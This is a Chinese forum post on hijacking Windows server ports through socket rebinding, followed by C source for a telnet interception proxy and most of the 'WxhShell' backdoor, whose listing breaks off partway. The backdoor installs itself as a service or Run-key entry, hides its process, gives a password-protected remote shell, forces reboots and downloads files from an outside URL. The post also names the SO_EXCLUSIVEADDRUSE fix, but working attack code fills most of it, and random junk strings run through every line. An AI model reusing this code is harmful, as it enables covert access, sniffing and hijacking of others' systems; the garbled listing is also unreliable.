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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OF-g7s6VH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3Jj&wHp]  
3Lv5>[MnN  
  saddr.sin_family = AF_INET; S{{wcH$n'i  
:1]J{,VG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); IaO&f<^#o  
~K(mt0T )  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BV}sN{  
EDF0q i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WfTl\Dxw  
dqFp"Xe"%  
  这意味着什么?意味着可以进行如下的攻击: Z4gn7 'V  
*|;`Gp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0 c,!<\B  
@V^5_K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2a 7"~z~  
b+$wx~PLi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;r.#|b  
0eK>QZ_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "/3YV%to-#  
{)Shc;Qh  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  um2}XI  
MfdkvJ'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nmyDGuzk  
]xbMMax  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pP#|: %  
F9A5}/\  
  #include =&DuQvN,  
  #include sJ5#T iX  
  #include %D% Ok7s})  
  #include    +NeoGnj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J'k^(ZZ  
  int main() 8VC%4+.FF  
  { sNMF(TY  
  WORD wVersionRequested; S?c<Lf~W  
  DWORD ret; f=7[GZoDn  
  WSADATA wsaData; 3|EAOoWnK  
  BOOL val; NR%_&%qQA  
  SOCKADDR_IN saddr; 2~V"[26t  
  SOCKADDR_IN scaddr; \zOsq5}  
  int err; k(@W z>aCv  
  SOCKET s; ]a[2QQ+g  
  SOCKET sc; J\ J3 'u  
  int caddsize; P=s3&NDD  
  HANDLE mt; u0qTP]  
  DWORD tid;   ]8 <`&~a  
  wVersionRequested = MAKEWORD( 2, 2 ); ZQ-6n1O  
  err = WSAStartup( wVersionRequested, &wsaData ); x<.(fRv   
  if ( err != 0 ) { ^}J,;Zhu5  
  printf("error!WSAStartup failed!\n"); .;(a;f+{;  
  return -1; #6pJw?[  
  }  J2Qt!-  
  saddr.sin_family = AF_INET; h*3{IHAQ  
   G+I->n-s4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Il#ST  
_c(h{dn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iI &z5Q2  
  saddr.sin_port = htons(23); XdnpL$0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3/]~#y%2  
  { _p^Wc.[~M  
  printf("error!socket failed!\n"); f6PYB&<1  
  return -1; J.O{+{&cd  
  } 6:?mz;oP  
  val = TRUE; b S'dXP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !HeQMz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {Eqx'j  
  { r-Y7wM`TZ  
  printf("error!setsockopt failed!\n"); +k/=L9#e  
  return -1; wbg ?IvY[  
  } /fU -0a8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |C0!mU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bik lja  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aa dw#90  
*Y!RU{w+Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b~<:k\EE  
  { ~3%aEj  
  ret=GetLastError(); H;ujB \+  
  printf("error!bind failed!\n"); a :cfr*IsK  
  return -1; }?HWUAL\  
  } A-rj: k!  
  listen(s,2); #nmh=G?\Sm  
  while(1) ^ q3H  
  { . +,{|){c  
  caddsize = sizeof(scaddr); CdtCxy5  
  //接受连接请求 +6^hp-G7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6 B7 F  
  if(sc!=INVALID_SOCKET) 0<^Q j.(9  
  { Vo|[Z)MO`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6uX,J(V,  
  if(mt==NULL) 64^l/D(  
  { 7loWqZ  
  printf("Thread Creat Failed!\n"); PI"6d)S2  
  break; = '-/JH~  
  } kUr/*an  
  } R38 \&F  
  CloseHandle(mt); 8m#y>`  
  } $I<\Yuy-M9  
  closesocket(s); D u_ ;!E  
  WSACleanup(); {!!8 *ix  
  return 0; (`R heEg@f  
  }   _ x$\E  
  DWORD WINAPI ClientThread(LPVOID lpParam) }FX:sa?5  
  { fUOQ(BGp  
  SOCKET ss = (SOCKET)lpParam; m/< @Qw  
  SOCKET sc;  lsgZ  
  unsigned char buf[4096]; K@{R?j/+  
  SOCKADDR_IN saddr; xqauSW  
  long num; d ]#`?}  
  DWORD val; [<>%I#7ulG  
  DWORD ret;  @l&{ j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :'[ha$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gJg+ ]-h/  
  saddr.sin_family = AF_INET; \tP*Pz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NceK>:: 56  
  saddr.sin_port = htons(23); AKS. XW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |3hNTH?  
  { Ix~rBD9  
  printf("error!socket failed!\n"); Ds{DVdqA$c  
  return -1; LCe6](Z  
  } FtDF}   
  val = 100; 2tQ?=V(Di  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _{GD\Ai_W  
  { 9V;A +d,  
  ret = GetLastError(); E 0@u|  
  return -1; E5a7p.  
  } L[U?{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AtqsrYj  
  { pr1kYMrqri  
  ret = GetLastError(); \FnR'ne  
  return -1; nj-LG!"a  
  } 1KjzKFnb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q@"!uB.e  
  { Zq:c2/\c}  
  printf("error!socket connect failed!\n"); lg{M\ +  
  closesocket(sc); !LsIHDs4  
  closesocket(ss); R~;8v1>K  
  return -1; PtGFLM9R  
  } ke)<E98DC  
  while(1) ~3|)[R=+p1  
  { N{6-a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9"}5jq4*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o :j'd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >D_)z/v?"  
  num = recv(ss,buf,4096,0); s%A?B 8,  
  if(num>0) aPX'CG4m  
  send(sc,buf,num,0); =<AG}by![  
  else if(num==0) j!@, r^(  
  break; q#"lnc<S  
  num = recv(sc,buf,4096,0); F'@ 9kdp  
  if(num>0) $^YHyfh  
  send(ss,buf,num,0); S8C} C#  
  else if(num==0) '>Thn{  
  break; n 8FIxl&u  
  } :w7?]y6~S  
  closesocket(ss); F| P?|  
  closesocket(sc); /!60oV4p0  
  return 0 ; Q@*9|6-  
  } (^]3l%Ed  
/PG%Y]l0b  
z9v70 q  
========================================================== vOl3utu7  
+=*ND<$n/E  
下边附上一个代码,,WXhSHELL //bQD>NBO  
Fw^^sB  
========================================================== R''2o_F6  
)r(e\_n  
#include "stdafx.h" (@=h(u.  
qV-1aaA  
#include <stdio.h> *=Ma5J.  
#include <string.h> |`+ (O  
#include <windows.h> '}q/;}ih  
#include <winsock2.h> Gq7\b({=  
#include <winsvc.h> eu//Q'W  
#include <urlmon.h> *g4Uo{  
![eipOX  
#pragma comment (lib, "Ws2_32.lib") HaRx(p0  
#pragma comment (lib, "urlmon.lib") 5JG`FRW!  
om6`>I*  
#define MAX_USER   100 // 最大客户端连接数 Vygh|UEo  
#define BUF_SOCK   200 // sock buffer  Gc;-zq  
#define KEY_BUFF   255 // 输入 buffer /sqfw,h@  
f*^bV_  
#define REBOOT     0   // 重启 SjcX|=S  
#define SHUTDOWN   1   // 关机 -WGlOpg0;  
"kKIv|`  
#define DEF_PORT   5000 // 监听端口 (Sj<>xgd  
l>("L9  
#define REG_LEN     16   // 注册表键长度 rAD4}A_w  
#define SVC_LEN     80   // NT服务名长度 4z^~,7J^  
8[a N5M]  
// 从dll定义API Ft_g~]kZo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E_{P^7Z|Jg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g O8~$Aj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #(Yd'qKo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'Hu+8,xA  
%Siw>  
// wxhshell配置信息 d-gcXaA-8  
struct WSCFG { SUL\|z`5  
  int ws_port;         // 监听端口 ?DY6V;&F@f  
  char ws_passstr[REG_LEN]; // 口令 @scSW5+  
  int ws_autoins;       // 安装标记, 1=yes 0=no yz)Nco]  
  char ws_regname[REG_LEN]; // 注册表键名 ler$HA%F]  
  char ws_svcname[REG_LEN]; // 服务名 x$pz(Q&v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _6]tbni?v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mv:\T%]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `u8(qGg7GF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r'@7aT&_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f+Fzpd?wS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d~T@fa  
<<9|*Tz  
}; e|^.N[W  
M-8d*#_P  
// default Wxhshell configuration _&]Gw, ~/i  
struct WSCFG wscfg={DEF_PORT, ;h#Q!M&e#  
    "xuhuanlingzhe", vJ;0%;eu[!  
    1, %mOQIXr1s  
    "Wxhshell", dd4^4X`j  
    "Wxhshell", ho!qXS  
            "WxhShell Service", TnuA uui*  
    "Wrsky Windows CmdShell Service", WJ\,Y} J  
    "Please Input Your Password: ", 52r\Q}v$  
  1, \8k4v#wH  
  "http://www.wrsky.com/wxhshell.exe", C]3^:b+   
  "Wxhshell.exe" 5{-54mwo  
    }; U?EXPi61Z  
Bo0T}P~  
// 消息定义模块 =n;LP#(h?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $4]4G=o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <B+ WM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;U?323Z  
char *msg_ws_ext="\n\rExit."; tNAmA  
char *msg_ws_end="\n\rQuit."; >B.KI}dE  
char *msg_ws_boot="\n\rReboot..."; dSS Ai |}  
char *msg_ws_poff="\n\rShutdown..."; nr&9\lG]G  
char *msg_ws_down="\n\rSave to "; |WgFLF~k  
a24(9(yh  
char *msg_ws_err="\n\rErr!"; +;q` A 1  
char *msg_ws_ok="\n\rOK!"; =$_kkVQ$  
p;mV?B?oAQ  
char ExeFile[MAX_PATH]; `*B6T7p1  
int nUser = 0; [9y y<Z5  
HANDLE handles[MAX_USER]; 1=^|  
int OsIsNt; ? O9|  
#5X+. !L  
SERVICE_STATUS       serviceStatus; %)e&"mq!|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hF1Lj=x  
LfvRH?<W  
// 函数声明 `U>]*D68  
int Install(void); t ;y@;?~  
int Uninstall(void); >Hd!o"I  
int DownloadFile(char *sURL, SOCKET wsh); hKe ms3  
int Boot(int flag); NQN?CBFQ  
void HideProc(void); <V|\yH9  
int GetOsVer(void); 9zpOp-K6  
int Wxhshell(SOCKET wsl); u\f Qa QV  
void TalkWithClient(void *cs); k40`,;}9  
int CmdShell(SOCKET sock); ) LohB,?  
int StartFromService(void); p<B*)1Tj0  
int StartWxhshell(LPSTR lpCmdLine); D% 2S!  
{$C"yksr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l4^MYwFR{O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :6Gf@Z&+  
iq5-eJmq  
// 数据结构和表定义 W Qe Q`pM  
SERVICE_TABLE_ENTRY DispatchTable[] = [] R8VC>Ah  
{ GwmYhG<{  
{wscfg.ws_svcname, NTServiceMain}, u>V~:q\X  
{NULL, NULL} Qn/ 6gRLj  
}; Qo80u? *  
cY|@s?3NND  
// 自我安装 z AY -Y  
int Install(void) ^fbzlu?G4-  
{ 6Zv-kG  
  char svExeFile[MAX_PATH]; ra1_XR}  
  HKEY key; {G=|fgz  
  strcpy(svExeFile,ExeFile); 9Wdx"g52_D  
r$,Xv+}  
// 如果是win9x系统,修改注册表设为自启动 U bh)}G,Mg  
if(!OsIsNt) { $8Gj9mw4e'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mD,fxm{G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &InFC5A  
  RegCloseKey(key); gbFHH,@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L(HAAqRnJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +y 48.5  
  RegCloseKey(key); mS+sh'VH  
  return 0; ZD<e$PxxCd  
    } .nei9Y*  
  } f~f)6XU|  
} 6vg` 8  
else { _ F2ofB'  
2WB`+oWox  
// 如果是NT以上系统,安装为系统服务 c(s: f@ 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H9[0-Ur5  
if (schSCManager!=0) @$;I%  
{ 0fN; L;v  
  SC_HANDLE schService = CreateService 26=G%F6  
  ( VD+v \X_  
  schSCManager, |[$ TT$Fb  
  wscfg.ws_svcname, 7_L$XIa  
  wscfg.ws_svcdisp, t~Q j$:\  
  SERVICE_ALL_ACCESS, +rka 5ts  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n -xCaq  
  SERVICE_AUTO_START, S|m|ulB  
  SERVICE_ERROR_NORMAL, P o\d!  
  svExeFile, N <M6~  
  NULL,  bDq<]h_7  
  NULL, yxi*4R  
  NULL, {^R>H|~  
  NULL, h~ehZJys  
  NULL ,be$ ~7qS  
  ); </2Cn@  
  if (schService!=0) / LLo7"  
  { q( %)^C  
  CloseServiceHandle(schService); $,nidK!"  
  CloseServiceHandle(schSCManager); HgTBON(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zw0u|q;#  
  strcat(svExeFile,wscfg.ws_svcname); Y,-! QFS#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yB4eUa!1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {3``B#}  
  RegCloseKey(key); MKX58y{+  
  return 0;  4Gj  
    } `X(H,Q}*;  
  } )c<[@ ::i  
  CloseServiceHandle(schSCManager); QvlV jDIy  
} *b"aJ<+  
} V%voe  
E=ObfN"ge  
return 1; "!:)qVL^  
} nHQWO   
!#PA#Q|cO  
// 自我卸载 p &i+i  
int Uninstall(void) MSe >1L2=  
{ ;Ao`yC2(v  
  HKEY key; sRC?l_n;  
S)`@)sr  
if(!OsIsNt) { w3"%d~/[x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n9V8A[QJ  
  RegDeleteValue(key,wscfg.ws_regname); Tz7|OV_W$  
  RegCloseKey(key); i4)]lWnd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pV$A?b"?*  
  RegDeleteValue(key,wscfg.ws_regname); 7s 0pH+  
  RegCloseKey(key); -=qHwcId  
  return 0; O:#/To'  
  } )gk tI!  
} gj4ONmY  
} }synU]^7\  
else { &jh17y  
Nh^q&[?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !y3XIbdS"  
if (schSCManager!=0) 3o#K8EL  
{ 8o466m6/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =h/61Bl3  
  if (schService!=0) 0hq\{pw_y*  
  { 8TYoa:pZ  
  if(DeleteService(schService)!=0) { <m%ZDOMa  
  CloseServiceHandle(schService); m" ]VQnQ  
  CloseServiceHandle(schSCManager); ozl>Au  
  return 0;  K"Gea`I  
  } a#&\65D  
  CloseServiceHandle(schService); $v=(`=  
  } }s.\B    
  CloseServiceHandle(schSCManager); p@wtT"Y  
} A%~t[ H  
} "P$')u wE  
va!fJ  
return 1; fH% C&xj'&  
} gj82qy\:  
-'Z-8  
// 从指定url下载文件 fBKN?]BdN  
int DownloadFile(char *sURL, SOCKET wsh) (Vt5@25JW  
{ Q>TNzh  
  HRESULT hr; jV#1d8qm  
char seps[]= "/"; WPPD vB  
char *token; /`7G7pQ+  
char *file; J!yK/*sO,  
char myURL[MAX_PATH]; M[L@ej  
char myFILE[MAX_PATH]; 8]WcW/1r !  
5[P^O6'  
strcpy(myURL,sURL); AH^'E  
  token=strtok(myURL,seps); 6df`]s c  
  while(token!=NULL) o}yA{<"  
  { AA}+37@2I  
    file=token; n`p/;D=?  
  token=strtok(NULL,seps); m[Qr>="  
  } e<"sZK  
[!4V_yOb  
GetCurrentDirectory(MAX_PATH,myFILE); vX$|/74  
strcat(myFILE, "\\"); y.a)M?3  
strcat(myFILE, file); W2A!BaH%  
  send(wsh,myFILE,strlen(myFILE),0); 5?TX.h9B4  
send(wsh,"...",3,0); 'r} y{`3M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G_xql_QR  
  if(hr==S_OK) H`7T;`Yb  
return 0; UFeQ%oRa8  
else 0kaMYV?  
return 1; ^ j<2s"S  
}p*WH$!~  
} E/_n}$Z  
8*eVP*g  
// 系统电源模块 +>:[irf  
int Boot(int flag) 35YDP|XZb  
{ Srrzj-9^)K  
  HANDLE hToken; tNxKpA |F  
  TOKEN_PRIVILEGES tkp; .xtam 8@  
4!Lj\.!$  
  if(OsIsNt) { * K0aR!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f_IsY+@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -90X^]  
    tkp.PrivilegeCount = 1; %/RT}CBBsW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +<WNAmh   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z;6?,5OSc  
if(flag==REBOOT) { `(~oZbErM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8>DX :`  
  return 0; cq8JpSB(  
} kM3#[#6$!  
else { _"82W^Wi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nk?/vMaw  
  return 0; ]F"@+_E  
} v5*JBW+c*  
  } 2D"aAI<P  
  else { 8>(/:u_x  
if(flag==REBOOT) { A9LVS&52  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mh#_lbe'  
  return 0; 7M$cIWe$  
} 'Ge8l%p  
else { SI7r `'7A'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qrc ir-+  
  return 0; yRt7&,}zL  
} MkM`)g 5  
} #X0Y8:vj  
1c4:'0  
return 1; 3/8<dc  
} Y5<W"[B!  
:%IB34e  
// win9x进程隐藏模块 ^-(DokdBn  
void HideProc(void) 8#RL2)7Uy`  
{ `|4k>5k  
`Cz_^>]|=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7~VDk5Z6  
  if ( hKernel != NULL ) m5cRHo<9Y  
  { n"nfEA3{`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "FLiSz%ME  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K/8TwB?I  
    FreeLibrary(hKernel); 4 Z&KR<2Z  
  } seZb;0  
mH )i  
return; eqqnR.0  
} ME*A6/h  
S4 s#EDs  
// 获取操作系统版本 </_.+c [  
int GetOsVer(void) K8h\T4  
{ W?du ]  
  OSVERSIONINFO winfo; JG{`tTu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (dHjf;  
  GetVersionEx(&winfo); 0m4'm<2m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <A&Zl&^1  
  return 1; c;88Wb<|W  
  else )<.y{_QUN  
  return 0; '-P+|bZW4  
} dAi.^! !  
(SByN7[g b  
// 客户端句柄模块 J#\oc@  
int Wxhshell(SOCKET wsl) W4)bEWO+q  
{ _U Y5  
  SOCKET wsh; cuL/y$+EY  
  struct sockaddr_in client; u"DE?  
  DWORD myID; l6.&<0pLT  
?3<Y/Vg%c  
  while(nUser<MAX_USER) Fp>nu_-"  
{ LXf|n  
  int nSize=sizeof(client); 40 zO4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c,}VC-  
  if(wsh==INVALID_SOCKET) return 1; xggF:El3{  
\9]- (j6[H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); imyfki $B  
if(handles[nUser]==0) _Zxo <}w}y  
  closesocket(wsh); >".@;  
else -cP1,>Ahv  
  nUser++; 877Kv);  
  } p Moza8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;&MnPFmq  
`k(m2k ?  
  return 0; 8[:G/8VI  
} Nop61zj  
"_:6v64Gx  
// 关闭 socket g-cg3Vso  
void CloseIt(SOCKET wsh) 'a>D+A:  
{ )-25?B  
closesocket(wsh); `tl-] ^Y2  
nUser--; fP llN8n  
ExitThread(0); qf{HGn_9~1  
} wcGv#J],  
n/YnISt  
// 客户端请求句柄 ulfs Z:  
void TalkWithClient(void *cs) lLI%J>b@  
{ 6sT( t8[  
Y[W] YPs  
  SOCKET wsh=(SOCKET)cs; JX`>N(K4\  
  char pwd[SVC_LEN]; BJ{?S{"6%G  
  char cmd[KEY_BUFF]; *?+2%zP  
char chr[1]; N:,V{Pw  
int i,j; 3A\Z ]L  
UI*&@!%bzp  
  while (nUser < MAX_USER) { (iht LFp  
..=lM:13|  
if(wscfg.ws_passstr) { 'h[7AZ&)#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mo4c8wp&SM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @2TfW]6  
  //ZeroMemory(pwd,KEY_BUFF); ;s#]."v_=  
      i=0; (N5"'`NZA  
  while(i<SVC_LEN) { V6'k\5|_  
^1Bk*?Yx\x  
  // 设置超时 y(=0  
  fd_set FdRead; |7!Bk$(vA  
  struct timeval TimeOut; $)'LbOe  
  FD_ZERO(&FdRead); qos/pm$&i  
  FD_SET(wsh,&FdRead); TV}=$\D  
  TimeOut.tv_sec=8; ^=qV)j  
  TimeOut.tv_usec=0; o5G]|JM_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *p|->p6,u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S KGnx  
!e('T@^u6u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,I:[-|Q  
  pwd=chr[0]; Wj, {lJ,  
  if(chr[0]==0xd || chr[0]==0xa) { 1[\I9dv2  
  pwd=0; 61*b|.sl'#  
  break; rY)m"'puP  
  } kRH D{6mol  
  i++; bnV)f<  
    } TJuS)AZ C  
n,{  
  // 如果是非法用户,关闭 socket ${`q!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &?k`rF9  
} GE\({V.W  
R9UC0D:-x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'Z nJd j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2L=(-CH9]  
\!k\%j 9  
while(1) { A@reIt  
?28)l 4 Ml  
  ZeroMemory(cmd,KEY_BUFF); In*0.   
{fMo#`9=  
      // 自动支持客户端 telnet标准   Z1wfy\9c8  
  j=0; ;XXEvRk  
  while(j<KEY_BUFF) { Uh^j;s\y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J$-1odL0Z  
  cmd[j]=chr[0]; jI$7vmO  
  if(chr[0]==0xa || chr[0]==0xd) { ZL9|/ PY  
  cmd[j]=0; ,.&D{ $1W  
  break; 3w! NTvp  
  } z'0 =3  
  j++; ZT+{8,  
    } 8an_s%,AW  
DXK\3vf Ot  
  // 下载文件 \p)eY#A  
  if(strstr(cmd,"http://")) { h{ eQ\iI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iu{QHjZK(  
  if(DownloadFile(cmd,wsh)) lLEEre  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8_3WCbe/  
  else h9 rrkV9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,u14R]  
  } u3HaWf3  
  else { Apkb!"}>  
Q|f)Awe$  
    switch(cmd[0]) { :kXxxS  
  zF&_9VNk=c  
  // 帮助 .iST!nh  
  case '?': { =HMuAUa.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YW"nPZNPy~  
    break; nDNK}O~'  
  } wL&[Vi_j{  
  // 安装 :BblH0'  
  case 'i': { M$3/jl*#}  
    if(Install()) fg GTm:   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )XYCr<s2"  
    else 7s;*vd>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $-gRD|oY  
    break; VC^QCuSq  
    } &cf_?4  
  // 卸载 F^Mt}`O  
  case 'r': { h\8bo=  
    if(Uninstall()) w^S]HzMd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yRz l}  
    else I2?g'tz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DhG{hQ[[  
    break; @>[3 [;  
    } B:)vPO+ d  
  // 显示 wxhshell 所在路径 %3q7i`AZ  
  case 'p': { GGFrV8  
    char svExeFile[MAX_PATH]; RG- ,<G`  
    strcpy(svExeFile,"\n\r"); ST\d -x  
      strcat(svExeFile,ExeFile); T"E%;'(cp)  
        send(wsh,svExeFile,strlen(svExeFile),0); UDb  
    break; V}Pv}j:;  
    } Rz33_ qA  
  // 重启 Fh.Z sPn,m  
  case 'b': { `>`{DEDx{5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EHt(! ;?q  
    if(Boot(REBOOT)) &y~GTEP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S|_lb MZM  
    else { ZMch2 U8  
    closesocket(wsh); xic&m5j m  
    ExitThread(0); Q5;EQ .#  
    } ?<soX8_1  
    break; L(BL_  
    } AUR{O  
